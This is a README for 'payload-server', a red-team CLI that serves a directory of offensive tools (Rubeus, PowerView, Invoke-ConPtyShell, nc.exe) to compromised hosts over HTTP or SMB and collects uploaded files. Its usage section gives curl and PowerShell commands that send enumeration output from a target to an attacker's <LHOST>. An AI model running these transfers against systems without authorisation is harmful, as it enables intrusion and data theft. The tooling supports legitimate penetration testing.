payload-server

payload-server is a CLI for serving a local payload directory over HTTP or SMB, receiving uploaded files over HTTP, and generating copyable transfer targets during pentest and red-team workflow.

It is designed to pair cleanly with artifact-locker pull:

artifact-locker pull
payload-server linux
payload-server windows 8000 443

By default it serves ~/tools/payloads:

~/tools/payloads/
├── linux/
│   └── pspy64
└── windows/
    ├── Invoke-ConPtyShell.ps1
    ├── PowerView.ps1
    ├── Rubeus.exe
    ├── RunasCs.exe
    └── nc.exe

Uploads are stored separately under ~/tools/uploads/<mode>/<source-ip>/.

Install

Preferred:

pipx install payload-server

Upgrade:

pipx upgrade payload-server

Uninstall:

pipx uninstall payload-server

For local development:

python3 -m venv .venv
. .venv/bin/activate
python3 -m pip install -e .

Usage

Use payload-server when you want to:

• serve a local payload directory over HTTP
• receive files back from targets over HTTP
• optionally expose the same directory over SMB
• save the active serving context for follow-on commands
• select a currently served file and copy its HTTP URL, SMB path, or local path

Serve Linux payloads over HTTP:

payload-server linux

Serve Windows payloads and write stage.ps1 into the Windows payload root:

payload-server windows 8000 443

Use SMB instead of HTTP:

payload-server windows --smb

Reuse the active serving context:

payload-server status
payload-server pick http
payload-server pick smb   # requires an active state started with --smb
payload-server pick local
payload-server pick ask

Upload examples:

curl -X POST --data-binary @/tmp/linpeas.out "http://<LHOST>:8000/upload?name=linpeas.out"

powershell -c "iwr -Method POST -InFile winpeas.out -Uri 'http://<LHOST>:8000/upload?name=winpeas.out'"

Behavior

• Detects tun0, tun1, wg0, tap0, then eth0 for LHOST
• Writes serving state to ~/.local/state/payload-server/state.json
• Uses a fuzzy built-in HTTP server by default
• Accepts uploads at /upload
• Writes uploads outside the payload tree and groups them by source IP
• Supports --updog and --plain-http as alternate HTTP backends
• Uses impacket-smbserver or smbserver.py when --smb is enabled

Optional Runtime Tools

Some features depend on tools that are discovered at runtime instead of being hard install requirements:

• rofi for interactive picking
• wl-copy, xclip, or xsel for clipboard copy
• tree for compact directory previews
• updog for the alternate HTTP backend
• impacket-smbserver or smbserver.py for SMB serving
• ip for interface and route based LHOST detection

If those tools are absent, the related feature fails with a direct error message while the rest of the CLI remains usable.

Relationship To artifact-locker

payload-server does not ship payloads. It serves a user-managed local directory. The intended workflow is:

1. Curate and publish with artifact-locker
2. Pull the approved mirror locally with artifact-locker pull
3. Serve the synced directory with payload-server

Current artifact-locker builds keep the local payload tree flat (/windows/winpeas.exe, /windows/PowerView.ps1). payload-server now treats that flat tree as the primary layout. The fuzzy server still understands older caches that used nested directories, so short paths continue to work during migration.

Tests

./scripts/test.sh

Release

./scripts/release.sh patch